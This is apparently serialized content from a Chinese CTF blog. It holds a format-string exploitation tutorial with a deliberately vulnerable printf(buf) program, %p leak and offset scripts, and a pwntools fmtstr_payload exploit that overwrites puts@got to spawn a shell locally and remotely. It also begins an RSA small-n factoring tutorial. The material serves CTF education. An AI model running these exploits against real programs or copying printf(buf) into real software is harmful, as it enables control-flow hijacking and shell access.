printf(buf);          // 漏洞\n",[48,9539,9540],{"class":50,"line":143},[48,9541,198],{},[48,9543,9544],{"class":50,"line":149},[48,9545,129],{},[39,9547,9549],{"className":41,"code":9548,"language":43,"meta":44,"style":44},"gcc -o fmt fmt.c -fno-stack-protector -no-pie\n",[19,9550,9551],{"__ignoreMap":44},[48,9552,9553,9555,9557,9560,9563,9565],{"class":50,"line":51},[48,9554,216],{"class":54},[48,9556,220],{"class":219},[48,9558,9559],{"class":58}," fmt",[48,9561,9562],{"class":58}," fmt.c",[48,9564,229],{"class":219},[48,9566,232],{"class":219},[10,9568,9570],{"id":9569},"三核心步骤-1p-泄露","三、核心步骤 1：%p 泄露",[15,9572,9573,9575],{},[27,9574,252],{},"：用最便宜的测试确认漏洞，并观察\"输入本身出现在参数列表里\"这一关键事实。",[15,9577,6139],{},[39,9579,9581],{"className":41,"code":9580,"language":43,"meta":44,"style":44},"./fmt\n",[19,9582,9583],{"__ignoreMap":44},[48,9584,9585],{"class":50,"line":51},[48,9586,9580],{"class":54},[15,9588,262],{},[39,9590,9593],{"className":9591,"code":9592,"language":287,"meta":44},[285],"%p.%p.%p.%p.%p.%p\n",[19,9594,9592],{"__ignoreMap":44},[15,9596,9597],{},"实际输出（本机 arm64 实测，Linux x86-64 输出形式一致、地址值不同）：",[39,9599,9602],{"className":9600,"code":9601,"language":287,"meta":44},[285],"> 0xfffffffffffffff0.0x16d8b6c48.0x40000000.0x70252e70252e7025.0x252e70252e70252e.0x100000a70\n",[19,9603,9601],{"__ignoreMap":44},[15,9605,9606,9607,9610,9611,9614],{},"出现一堆十六进制地址，漏洞确认。注意第 4、5 个值里有 ",[19,9608,9609],{},"0x70252e70","，正是 ",[19,9612,9613],{},"%p.%p"," 的 ASCII 字节——说明我们的输入本身也在参数列表里。",[15,9616,9617,87,9620,9622],{},[27,9618,9619],{},"为什么能泄露",[19,9621,9469],{}," 按格式串逐个取参数。我们没传参数，它就继续往寄存器/栈上读\"不存在的参数\"，读到的都是内存里的真实值。",[10,9624,9626],{"id":9625},"四核心步骤-2偏移定位","四、核心步骤 2：偏移定位",[15,9628,9629,9631],{},[27,9630,252],{},"：确定\"我们的输入位于第几个参数\"，这是所有精确利用的前提。",[15,9633,9634,9636,9637,9639,9640,9643,9644,9647],{},[27,9635,258],{},"：在输入开头放 4 个 ",[19,9638,601],{},"，用 ",[19,9641,9642],{},"%N$p"," 逐个位置试探；哪个位置输出 ",[19,9645,9646],{},"0x41414141","，哪个位置就是输入起点。",[15,9649,9650],{},"要精确利用，需要知道\"我们的输入位于第几个参数\"。",[15,9652,6139],{},[39,9654,9655],{"className":41,"code":9580,"language":43,"meta":44,"style":44},[19,9656,9657],{"__ignoreMap":44},[48,9658,9659],{"class":50,"line":51},[48,9660,9580],{"class":54},[15,9662,262],{},[39,9664,9667],{"className":9665,"code":9666,"language":287,"meta":44},[285],"AAAA.%6$p\n",[19,9668,9666],{"__ignoreMap":44},[15,9670,9671],{},"预期输出（Linux x86-64 典型情况）：",[39,9673,9676],{"className":9674,"code":9675,"language":287,"meta":44},[285],"> AAAA.0x41414141\n",[19,9677,9675],{"__ignoreMap":44},[15,9679,9680,9681,9683,9684,9687],{},"出现 ",[19,9682,9646],{},"（",[19,9685,9686],{},"AAAA"," 的十六进制），说明 buf 起始位置是第 6 个参数，偏移 = 6。不同程序偏移不同（常见 6-10），确认方法就是逐个数：",[39,9689,9691],{"className":383,"code":9690,"language":385,"meta":44,"style":44},"from pwn import *\n\nfor i in range(1, 15):\n    p = process('./fmt')\n    p.recvuntil(b'> ')\n    p.sendline(f'AAAA.%{i}$p'.encode())\n    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n    # .encode()：字符串转成字节串才能 sendline。\n    out = p.recvall()\n    if b'0x41414141' in out:\n        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n        print(f'offset = {i}')\n        break\n",[19,9692,9693,9697,9701,9706,9711,9716,9721,9726,9731,9736,9741,9746,9751],{"__ignoreMap":44},[48,9694,9695],{"class":50,"line":51},[48,9696,392],{},[48,9698,9699],{"class":50,"line":68},[48,9700,111],{"emptyLinePlaceholder":110},[48,9702,9703],{"class":50,"line":107},[48,9704,9705],{},"for i in range(1, 15):\n",[48,9707,9708],{"class":50,"line":114},[48,9709,9710],{},"    p = process('./fmt')\n",[48,9712,9713],{"class":50,"line":120},[48,9714,9715],{},"    p.recvuntil(b'> ')\n",[48,9717,9718],{"class":50,"line":126},[48,9719,9720],{},"    p.sendline(f'AAAA.%{i}$p'.encode())\n",[48,9722,9723],{"class":50,"line":132},[48,9724,9725],{},"    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n",[48,9727,9728],{"class":50,"line":137},[48,9729,9730],{},"    # .encode()：字符串转成字节串才能 sendline。\n",[48,9732,9733],{"class":50,"line":143},[48,9734,9735],{},"    out = p.recvall()\n",[48,9737,9738],{"class":50,"line":149},[48,9739,9740],{},"    if b'0x41414141' in out:\n",[48,9742,9743],{"class":50,"line":155},[48,9744,9745],{},"        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n",[48,9747,9748],{"class":50,"line":160},[48,9749,9750],{},"        print(f'offset = {i}')\n",[48,9752,9753],{"class":50,"line":165},[48,9754,3351],{},[15,9756,281,9757,30],{},[19,9758,9759],{},"offset = 6",[15,9761,9762,9763,4537,9766,9768,9769,9771,9772,9775,9776,9779,9780,9775,9783,1608,9786,9789],{},"为什么从 6 开始：x86-64 调用约定前 6 个整数参数用寄存器（",[19,9764,9765],{},"rdi, rsi, rdx, rcx, r8, r9",[19,9767,9469],{}," 自己占 ",[19,9770,8876],{},"，所以 ",[19,9773,9774],{},"%1$p"," 到 ",[19,9777,9778],{},"%5$p"," 对应 ",[19,9781,9782],{},"rsi",[19,9784,9785],{},"r9",[19,9787,9788],{},"%6$p"," 开始读栈。",[10,9791,9793],{"id":9792},"五核心步骤-3泄露-canary-与-libc","五、核心步骤 3：泄露 canary 与 libc",[15,9795,9796,9798],{},[27,9797,252],{},"：把栈上的关键保护值（canary）与库地址（libc）泄露出来，供后续利用。",[15,9800,9801,9803,9804,9807,9808,9811],{},[27,9802,258],{},"：不同数据在栈上有固定特征——canary 以 ",[19,9805,9806],{},"00"," 结尾，libc 地址以 ",[19,9809,9810],{},"0x7f"," 开头。扫描一段偏移后按特征识别。",[15,9813,1695,9814,9775,9816,9819],{},[19,9815,9788],{},[19,9817,9818],{},"%40$p"," 全部打出来，识别特征值：",[294,9821,9822,9832],{},[297,9823,9824],{},[300,9825,9826,9829],{},[303,9827,9828],{},"值特征",[303,9830,9831],{},"内容",[313,9833,9834,9845,9856,9866],{},[300,9835,9836,9842],{},[318,9837,9838,9839,9841],{},"以 ",[19,9840,9806],{}," 结尾的随机值",[318,9843,9844],{},"canary",[300,9846,9847,9853],{},[318,9848,9849,9852],{},[19,9850,9851],{},"0x7fff"," 开头",[318,9854,9855],{},"栈地址",[300,9857,9858,9863],{},[318,9859,9860,9852],{},[19,9861,9862],{},"0x55/0x56",[318,9864,9865],{},"程序代码地址（PIE 基址相关）",[300,9867,9868,9872],{},[318,9869,9870,9852],{},[19,9871,9810],{},[318,9873,9874],{},"libc 地址",[39,9876,9878],{"className":383,"code":9877,"language":385,"meta":44,"style":44},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\np.sendline(payload)\nout = p.recvall().decode().split('.')\n# 按点号切分，得到每个位置的值。\n\nfor i, v in enumerate(out):\n    if v.endswith('00') and len(v) == 18:\n        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n        print(f'possible canary at {i+6}: {v}')\n",[19,9879,9880,9885,9890,9894,9899,9904,9908,9913,9918,9923],{"__ignoreMap":44},[48,9881,9882],{"class":50,"line":51},[48,9883,9884],{},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n",[48,9886,9887],{"class":50,"line":68},[48,9888,9889],{},"# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\n",[48,9891,9892],{"class":50,"line":107},[48,9893,587],{},[48,9895,9896],{"class":50,"line":114},[48,9897,9898],{},"out = p.recvall().decode().split('.')\n",[48,9900,9901],{"class":50,"line":120},[48,9902,9903],{},"# 按点号切分，得到每个位置的值。\n",[48,9905,9906],{"class":50,"line":126},[48,9907,111],{"emptyLinePlaceholder":110},[48,9909,9910],{"class":50,"line":132},[48,9911,9912],{},"for i, v in enumerate(out):\n",[48,9914,9915],{"class":50,"line":137},[48,9916,9917],{},"    if v.endswith('00') and len(v) == 18:\n",[48,9919,9920],{"class":50,"line":143},[48,9921,9922],{},"        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n",[48,9924,9925],{"class":50,"line":149},[48,9926,9927],{},"        print(f'possible canary at {i+6}: {v}')\n",[15,9929,9930],{},"泄露 libc 地址后：",[39,9932,9934],{"className":383,"code":9933,"language":385,"meta":44,"style":44},"libc.address = leaked_libc_addr - libc.symbols['puts']\n",[19,9935,9936],{"__ignoreMap":44},[48,9937,9938],{"class":50,"line":51},[48,9939,9933],{},[15,9941,9942],{},"与 ret2libc 的\"先泄露再计算\"思路完全一致。",[10,9944,9946],{"id":9945},"六核心步骤-4n-任意写","六、核心步骤 4：%n 任意写",[15,9948,9949,9951],{},[27,9950,252],{},"：理解\"写内存\"的原语，为覆盖 GOT 做准备。",[15,9953,9954,87,9956,9958,9959,9962,9963,9966],{},[27,9955,258],{},[19,9957,9486],{}," 把\"已打印字符数\"写入参数指向的地址。先用 ",[19,9960,9961],{},"%100c"," 精确控制打印量，再用 ",[19,9964,9965],{},"%N$n"," 写到目标地址。",[15,9968,9969,9971],{},[19,9970,9486],{}," 把\"当前已经打印的字符数\"写入参数指向的地址：",[39,9973,9976],{"className":9974,"code":9975,"language":287,"meta":44},[285],"%100c%7$n\n",[19,9977,9975],{"__ignoreMap":44},[15,9979,8804],{},[1687,9981,9982,9987],{},[1690,9983,9984,9986],{},[19,9985,9961],{}," 打印 100 个填充字符，已打印数变成 100。",[1690,9988,9989,9992],{},[19,9990,9991],{},"%7$n"," 把 100 写入第 7 个参数指向的地址。",[15,9994,9995],{},"所以如果第 7 个参数恰好是我们输入里的一个地址，就能往那个地址写 100。写入宽度控制：",[294,9997,9998,10008],{},[297,9999,10000],{},[300,10001,10002,10005],{},[303,10003,10004],{},"说明符",[303,10006,10007],{},"写入字节数",[313,10009,10010,10019,10029],{},[300,10011,10012,10016],{},[318,10013,10014],{},[19,10015,9486],{},[318,10017,10018],{},"4 字节",[300,10020,10021,10026],{},[318,10022,10023],{},[19,10024,10025],{},"%hn",[318,10027,10028],{},"2 字节",[300,10030,10031,10036],{},[318,10032,10033],{},[19,10034,10035],{},"%hhn",[318,10037,10038],{},"1 字节",[10,10040,10042],{"id":10041},"七核心步骤-5fmtstr_payload-覆盖-got","七、核心步骤 5：fmtstr_payload 覆盖 GOT",[15,10044,10045,10047,10048,10050,10051,10053],{},[27,10046,252],{},"：把程序即将调用的 ",[19,10049,9224],{}," 改成我们的 ",[19,10052,356],{},"，实现控制流劫持。",[15,10055,10056,87,10058,10061],{},[27,10057,258],{},[19,10059,10060],{},"puts@got"," 存的是 puts 真实地址；程序每次调 puts 都先查 GOT。把 GOT 内容改成 win 地址，下一次调用就变成执行 win。验证方式：发送 payload 后看是否进入 shell。",[15,10063,10064,10065,87],{},"目标程序 ",[19,10066,10067],{},"fmt2.c",[39,10069,10071],{"className":90,"code":10070,"language":92,"meta":44,"style":44},"#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    puts(\"Done\");         // 触发 puts@got → win\n    return 0;\n}\n",[19,10072,10073,10077,10081,10085,10089,10093,10097,10101,10105,10109,10113,10117,10121,10125,10130,10134],{"__ignoreMap":44},[48,10074,10075],{"class":50,"line":51},[48,10076,99],{},[48,10078,10079],{"class":50,"line":68},[48,10080,104],{},[48,10082,10083],{"class":50,"line":107},[48,10084,111],{"emptyLinePlaceholder":110},[48,10086,10087],{"class":50,"line":114},[48,10088,117],{},[48,10090,10091],{"class":50,"line":120},[48,10092,123],{},[48,10094,10095],{"class":50,"line":126},[48,10096,129],{},[48,10098,10099],{"class":50,"line":132},[48,10100,111],{"emptyLinePlaceholder":110},[48,10102,10103],{"class":50,"line":137},[48,10104,168],{},[48,10106,10107],{"class":50,"line":143},[48,10108,9518],{},[48,10110,10111],{"class":50,"line":149},[48,10112,174],{},[48,10114,10115],{"class":50,"line":155},[48,10116,9527],{},[48,10118,10119],{"class":50,"line":160},[48,10120,9532],{},[48,10122,10123],{"class":50,"line":165},[48,10124,9537],{},[48,10126,10127],{"class":50,"line":171},[48,10128,10129],{},"    puts(\"Done\");         // 触发 puts@got → win\n",[48,10131,10132],{"class":50,"line":177},[48,10133,198],{},[48,10135,10136],{"class":50,"line":183},[48,10137,129],{},[39,10139,10141],{"className":41,"code":10140,"language":43,"meta":44,"style":44},"gcc -o fmt2 fmt2.c -fno-stack-protector -no-pie\npwn checksec ./fmt2     # 需为 Partial RELRO，GOT 可写\n",[19,10142,10143,10159],{"__ignoreMap":44},[48,10144,10145,10147,10149,10152,10155,10157],{"class":50,"line":51},[48,10146,216],{"class":54},[48,10148,220],{"class":219},[48,10150,10151],{"class":58}," fmt2",[48,10153,10154],{"class":58}," fmt2.c",[48,10156,229],{"class":219},[48,10158,232],{"class":219},[48,10160,10161,10163,10165,10168],{"class":50,"line":68},[48,10162,272],{"class":54},[48,10164,275],{"class":58},[48,10166,10167],{"class":58}," ./fmt2",[48,10169,10170],{"class":237},"     # 需为 Partial RELRO，GOT 可写\n",[15,10172,10173],{},"利用脚本：",[39,10175,10177],{"className":383,"code":10176,"language":385,"meta":44,"style":44},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\n# context.binary 让 pwntools 自动识别架构与位数。\np = process('./fmt2')\n\noffset = 6\npayload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n# fmtstr_payload(offset, writes)：\n#   第一个参数 offset：输入在参数列表中的位置；\n#   第二个参数是字典 {目标地址: 要写入的值}。\n# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n\np.sendline(payload)\np.interactive()\n",[19,10178,10179,10183,10187,10192,10197,10202,10206,10211,10216,10221,10226,10231,10236,10241,10245,10249],{"__ignoreMap":44},[48,10180,10181],{"class":50,"line":51},[48,10182,392],{},[48,10184,10185],{"class":50,"line":68},[48,10186,111],{"emptyLinePlaceholder":110},[48,10188,10189],{"class":50,"line":107},[48,10190,10191],{},"context.binary = elf = ELF('./fmt2')\n",[48,10193,10194],{"class":50,"line":114},[48,10195,10196],{},"# context.binary 让 pwntools 自动识别架构与位数。\n",[48,10198,10199],{"class":50,"line":120},[48,10200,10201],{},"p = process('./fmt2')\n",[48,10203,10204],{"class":50,"line":126},[48,10205,111],{"emptyLinePlaceholder":110},[48,10207,10208],{"class":50,"line":132},[48,10209,10210],{},"offset = 6\n",[48,10212,10213],{"class":50,"line":137},[48,10214,10215],{},"payload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n",[48,10217,10218],{"class":50,"line":143},[48,10219,10220],{},"# fmtstr_payload(offset, writes)：\n",[48,10222,10223],{"class":50,"line":149},[48,10224,10225],{},"#   第一个参数 offset：输入在参数列表中的位置；\n",[48,10227,10228],{"class":50,"line":155},[48,10229,10230],{},"#   第二个参数是字典 {目标地址: 要写入的值}。\n",[48,10232,10233],{"class":50,"line":160},[48,10234,10235],{},"# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n",[48,10237,10238],{"class":50,"line":165},[48,10239,10240],{},"# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n",[48,10242,10243],{"class":50,"line":171},[48,10244,111],{"emptyLinePlaceholder":110},[48,10246,10247],{"class":50,"line":177},[48,10248,587],{},[48,10250,10251],{"class":50,"line":183},[48,10252,675],{},[15,10254,10255,10258],{},[19,10256,10257],{},"fmtstr_payload"," 自动完成：",[1687,10260,10261,10266,10273,10282],{},[1690,10262,1695,10263,10265],{},[19,10264,356],{}," 地址拆成低 2 字节和高 2 字节。",[1690,10267,10268,10269,10272],{},"生成 ",[19,10270,10271],{},"%c"," 控制打印量。",[1690,10274,10275,10276,530,10278,10281],{},"把两个目标地址（",[19,10277,10060],{},[19,10279,10280],{},"puts@got+2","）放到对应参数位置。",[1690,10283,10284,10285,10287],{},"用 ",[19,10286,10025],{}," 分别写入。",[15,10289,10290,10291,10294,10295,10297],{},"预期结果：程序执行 ",[19,10292,10293],{},"puts(\"Done\")"," 时实际调用 ",[19,10296,700],{},"，进入 shell。",[10,10299,709],{"id":708},[294,10301,10302,10312],{},[297,10303,10304],{},[300,10305,10306,10308,10310],{},[303,10307,718],{},[303,10309,721],{},[303,10311,724],{},[313,10313,10314,10332,10344],{},[300,10315,10316,10318,10330],{},[318,10317,731],{},[318,10319,10320,530,10322,530,10325,740,10327],{},[19,10321,10257],{},[19,10323,10324],{},"FmtStr",[19,10326,750],{},[19,10328,10329],{},"recvuntil",[318,10331,754],{},[300,10333,10334,10336,10339],{},[318,10335,759],{},[318,10337,10338],{},"看 RELRO、Canary、PIE",[318,10340,10341],{},[19,10342,10343],{},"pwn checksec ./fmt2",[300,10345,10346,10348,10351],{},[318,10347,9314],{},[318,10349,10350],{},"断点、看栈、验证参数位置",[318,10352,10353,530,10356],{},[19,10354,10355],{},"break main",[19,10357,783],{},[10,10359,10361],{"id":10360},"九小-ctf-实战","九、小 CTF 实战",[15,10363,10364,10365,10368],{},"题目：远程运行 ",[19,10366,10367],{},"fmt2","（Partial RELRO、No PIE）。",[15,10370,10371,10373,10374,10377],{},[27,10372,258],{},"：与本地脚本唯一区别是 ",[19,10375,10376],{},"remote()"," 连远程；若远程提示与本地不同，先本地确认 offset 再改。",[39,10379,10381],{"className":383,"code":10380,"language":385,"meta":44,"style":44},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\np = remote('1.2.3.4', 10002)\n\npayload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[19,10382,10383,10387,10391,10395,10400,10404,10409,10413,10417],{"__ignoreMap":44},[48,10384,10385],{"class":50,"line":51},[48,10386,392],{},[48,10388,10389],{"class":50,"line":68},[48,10390,111],{"emptyLinePlaceholder":110},[48,10392,10393],{"class":50,"line":107},[48,10394,10191],{},[48,10396,10397],{"class":50,"line":114},[48,10398,10399],{},"p = remote('1.2.3.4', 10002)\n",[48,10401,10402],{"class":50,"line":120},[48,10403,111],{"emptyLinePlaceholder":110},[48,10405,10406],{"class":50,"line":126},[48,10407,10408],{},"payload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\n",[48,10410,10411],{"class":50,"line":132},[48,10412,587],{},[48,10414,10415],{"class":50,"line":137},[48,10416,885],{},[48,10418,10419],{"class":50,"line":143},[48,10420,675],{},[15,10422,281],{},[39,10424,10427],{"className":10425,"code":10426,"language":287,"meta":44},[285],"flag{format_string}\n",[19,10428,10426],{"__ignoreMap":44},[10,10430,906],{"id":905},[15,10432,10433,10434,740,10436,10438,10439,10441],{},"格式化字符串提供两种原语：",[19,10435,9465],{},[19,10437,9480],{}," 任意读，",[19,10440,9486],{}," 系列任意写。掌握偏移定位后，既可以泄露 canary/libc 辅助栈溢出，也可以直接覆盖 GOT 或函数指针拿 shell。",[920,10443,10444],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":44,"searchDepth":68,"depth":68,"links":10446},[10447,10448,10449,10450,10451,10452,10453,10454,10455,10456],{"id":9436,"depth":107,"text":9437},{"id":9490,"depth":107,"text":9491},{"id":9569,"depth":107,"text":9570},{"id":9625,"depth":107,"text":9626},{"id":9792,"depth":107,"text":9793},{"id":9945,"depth":107,"text":9946},{"id":10041,"depth":107,"text":10042},{"id":708,"depth":107,"text":709},{"id":10360,"depth":107,"text":10361},{"id":905,"depth":107,"text":906},"格式化字符串漏洞：printf(buf) 漏洞原理、%p 泄露与偏移定位、%n 任意写原理、fmtstr_payload 覆盖 GOT。",{"date":938,"image":3939,"alt":10459,"tags":10460,"published":110},"格式化字符串深入实战",[942,272,10461,943],"格式化字符串","/blogs/ctf-pwn-format-string-deep-dive",{"title":9431,"description":10457},"blogs/18. ctf-pwn-format-string-deep-dive","3BARIEfzO4zPWgXrmyFfLGY_TycY4NGsa0XAo3Gs6Fo",{"id":10467,"title":10468,"body":10469,"description":11436,"extension":936,"meta":11437,"navigation":110,"ogImage":8324,"path":11441,"seo":11442,"stem":11443,"__hash__":11444},"content/blogs/19. ctf-crypto-rsa-deep-dive.md","RSA 深入实战：原理、小 n 分解与共模攻击",{"type":7,"value":10470,"toc":11424},[10471,10475,10478,10481,10504,10517,10519,10535,10539,10545,10548,10563,10567,10572,10577,10666,10668,10674,10681,10685,10690,10695,10699,10718,10720,10726,10732,10736,10741,10826,10828,10834,10843,10847,10855,10884,10888,10892,10902,10908,10912,10917,10922,10929,10935,10938,10944,10948,11111,11113,11119,11123,11190,11192,11253,11262,11264,11266,11272,11275,11279,11284,11298,11300,11306,11310,11319,11369,11371,11377,11381,11413,11415,11422],[10,10472,10474],{"id":10473},"一现实背景dh-与公钥密码学","一、现实背景：DH 与公钥密码学",[15,10476,10477],{},"HTTPS（TLS）流程中：先用 DH 协商对称密钥，再用 RSA/ECDSA 证书认证身份。DH 解决\"公开信道建立共享密钥\"，RSA 解决\"身份认证与加密\"。",[15,10479,10480],{},"DH 最小实现（见密码学全景篇）：",[39,10482,10484],{"className":383,"code":10483,"language":385,"meta":44,"style":44},"p, g = 0xffffffffffffffc5, 2\na, b = 1234567, 7654321\nA, B = pow(g, a, p), pow(g, b, p)\nassert pow(B, a, p) == pow(A, b, p)   # 双方共享密钥一致\n",[19,10485,10486,10490,10494,10499],{"__ignoreMap":44},[48,10487,10488],{"class":50,"line":51},[48,10489,3570],{},[48,10491,10492],{"class":50,"line":68},[48,10493,3585],{},[48,10495,10496],{"class":50,"line":107},[48,10497,10498],{},"A, B = pow(g, a, p), pow(g, b, p)\n",[48,10500,10501],{"class":50,"line":114},[48,10502,10503],{},"assert pow(B, a, p) == pow(A, b, p)   # 双方共享密钥一致\n",[15,10505,10506,10507,10510,10511,530,10513,10516],{},"RSA 的安全基础是：已知 ",[19,10508,10509],{},"n"," 求 ",[19,10512,15],{},[19,10514,10515],{},"q","（分解）在计算上不可行。CTF 题把参数做小或做错，让分解或绕过分解成为可能。",[10,10518,34],{"id":33},[39,10520,10521],{"className":41,"code":3157,"language":43,"meta":44,"style":44},[19,10522,10523],{"__ignoreMap":44},[48,10524,10525,10527,10529,10531,10533],{"class":50,"line":51},[48,10526,71],{"class":54},[48,10528,59],{"class":58},[48,10530,3168],{"class":58},[48,10532,3171],{"class":58},[48,10534,3174],{"class":58},[10,10536,10538],{"id":10537},"三核心知识rsa-公式","三、核心知识：RSA 公式",[39,10540,10543],{"className":10541,"code":10542,"language":287,"meta":44},[285],"n = p × q\nφ(n) = (p-1)(q-1)\ne × d ≡ 1 (mod φ(n))        # d 是 e 的模逆元\n加密：c = m^e mod n\n解密：m = c^d mod n\n",[19,10544,10542],{"__ignoreMap":44},[15,10546,10547],{},"三个必须会用的 Python 运算：",[39,10549,10551],{"className":383,"code":10550,"language":385,"meta":44,"style":44},"pow(3, 4, 7)        # 快速幂取模 = 4\npow(e, -1, phi)     # 求 e 在模 phi 下的逆元\n",[19,10552,10553,10558],{"__ignoreMap":44},[48,10554,10555],{"class":50,"line":51},[48,10556,10557],{},"pow(3, 4, 7)        # 快速幂取模 = 4\n",[48,10559,10560],{"class":50,"line":68},[48,10561,10562],{},"pow(e, -1, phi)     # 求 e 在模 phi 下的逆元\n",[10,10564,10566],{"id":10565},"四核心步骤-1手算验证","四、核心步骤 1：手算验证",[15,10568,10569,10571],{},[27,10570,252],{},"：用最小参数亲手跑通 RSA 的生成与加解密，确认公式理解正确。",[15,10573,10574,10576],{},[27,10575,258],{},"：先算 n 与 φ(n)，再求 d（e 的模逆元），最后验证 pow(c,d,n) 能还原 m。这四步是后面所有攻击的基础。",[39,10578,10580],{"className":383,"code":10579,"language":385,"meta":44,"style":44},"p, q, e = 61, 53, 17\nn = p * q\n# n = 3233，公钥模数。\nphi = (p - 1) * (q - 1)\n# φ(n) = 60 × 52 = 3120，欧拉函数值。\nd = pow(e, -1, phi)\n# pow(e, -1, phi)：求 e 在模 phi 下的乘法逆元，即私钥 d = 2753。\n\nm = 65\nc = pow(m, e, n)\n# pow(m, e, n)：快速幂取模，即 m^e mod n，加密得 c = 2790。\nprint(\"n =\", n)\nprint(\"phi =\", phi)\nprint(\"d =\", d)\nprint(\"c =\", c)\nprint(\"解密 =\", pow(c, d, n))\n# pow(c, d, n)：用私钥解密，应还原 65，验证公式正确。\n",[19,10581,10582,10587,10592,10597,10602,10607,10612,10617,10621,10626,10631,10636,10641,10646,10651,10656,10661],{"__ignoreMap":44},[48,10583,10584],{"class":50,"line":51},[48,10585,10586],{},"p, q, e = 61, 53, 17\n",[48,10588,10589],{"class":50,"line":68},[48,10590,10591],{},"n = p * q\n",[48,10593,10594],{"class":50,"line":107},[48,10595,10596],{},"# n = 3233，公钥模数。\n",[48,10598,10599],{"class":50,"line":114},[48,10600,10601],{},"phi = (p - 1) * (q - 1)\n",[48,10603,10604],{"class":50,"line":120},[48,10605,10606],{},"# φ(n) = 60 × 52 = 3120，欧拉函数值。\n",[48,10608,10609],{"class":50,"line":126},[48,10610,10611],{},"d = pow(e, -1, phi)\n",[48,10613,10614],{"class":50,"line":132},[48,10615,10616],{},"# pow(e, -1, phi)：求 e 在模 phi 下的乘法逆元，即私钥 d = 2753。\n",[48,10618,10619],{"class":50,"line":137},[48,10620,111],{"emptyLinePlaceholder":110},[48,10622,10623],{"class":50,"line":143},[48,10624,10625],{},"m = 65\n",[48,10627,10628],{"class":50,"line":149},[48,10629,10630],{},"c = pow(m, e, n)\n",[48,10632,10633],{"class":50,"line":155},[48,10634,10635],{},"# pow(m, e, n)：快速幂取模，即 m^e mod n，加密得 c = 2790。\n",[48,10637,10638],{"class":50,"line":160},[48,10639,10640],{},"print(\"n =\", n)\n",[48,10642,10643],{"class":50,"line":165},[48,10644,10645],{},"print(\"phi =\", phi)\n",[48,10647,10648],{"class":50,"line":171},[48,10649,10650],{},"print(\"d =\", d)\n",[48,10652,10653],{"class":50,"line":177},[48,10654,10655],{},"print(\"c =\", c)\n",[48,10657,10658],{"class":50,"line":183},[48,10659,10660],{},"print(\"解密 =\", pow(c, d, n))\n",[48,10662,10663],{"class":50,"line":189},[48,10664,10665],{},"# pow(c, d, n)：用私钥解密，应还原 65，验证公式正确。\n",[15,10667,3111],{},[39,10669,10672],{"className":10670,"code":10671,"language":287,"meta":44},[285],"n = 3233\nphi = 3120\nd = 2753\nc = 2790\n解密 = 65\n",[19,10673,10671],{"__ignoreMap":44},[15,10675,10676,10677,10680],{},"攻击者只有 ",[19,10678,10679],{},"(n=3233, e=17, c=2790)","，没有 d。要解密，第一步就是分解 n。",[10,10682,10684],{"id":10683},"五核心步骤-2小-n-分解","五、核心步骤 2：小 n 分解",[15,10686,10687,10689],{},[27,10688,252],{},"：拿到公钥后第一步永远是\"尝试分解 n\"——一旦分解成功，私钥直接可算。",[15,10691,10692,10694],{},[27,10693,258],{},"：n 小 → 本地工具直接分解；n 大 → 先查 FactorDB 是否有人分解过。分解出 p、q 后按公式算出 d 解密。",[462,10696,10698],{"id":10697},"_51-用-sympy-分解","5.1 用 sympy 分解",[39,10700,10702],{"className":383,"code":10701,"language":385,"meta":44,"style":44},"from sympy import factorint\n\nprint(factorint(3233))\n",[19,10703,10704,10709,10713],{"__ignoreMap":44},[48,10705,10706],{"class":50,"line":51},[48,10707,10708],{},"from sympy import factorint\n",[48,10710,10711],{"class":50,"line":68},[48,10712,111],{"emptyLinePlaceholder":110},[48,10714,10715],{"class":50,"line":107},[48,10716,10717],{},"print(factorint(3233))\n",[15,10719,3111],{},[39,10721,10724],{"className":10722,"code":10723,"language":287,"meta":44},[285],"{53: 1, 61: 1}\n",[19,10725,10723],{"__ignoreMap":44},[15,10727,10728,10729,30],{},"得到 ",[19,10730,10731],{},"p=53, q=61",[462,10733,10735],{"id":10734},"_52-完整解密验证公式","5.2 完整解密（验证公式）",[15,10737,10738,10740],{},[27,10739,258],{},"：分解得到 p、q → 算 φ(n) → 算 d → pow(c,d,n) → long_to_bytes 转回文本。",[39,10742,10744],{"className":383,"code":10743,"language":385,"meta":44,"style":44},"from Crypto.Util.number import long_to_bytes\n# 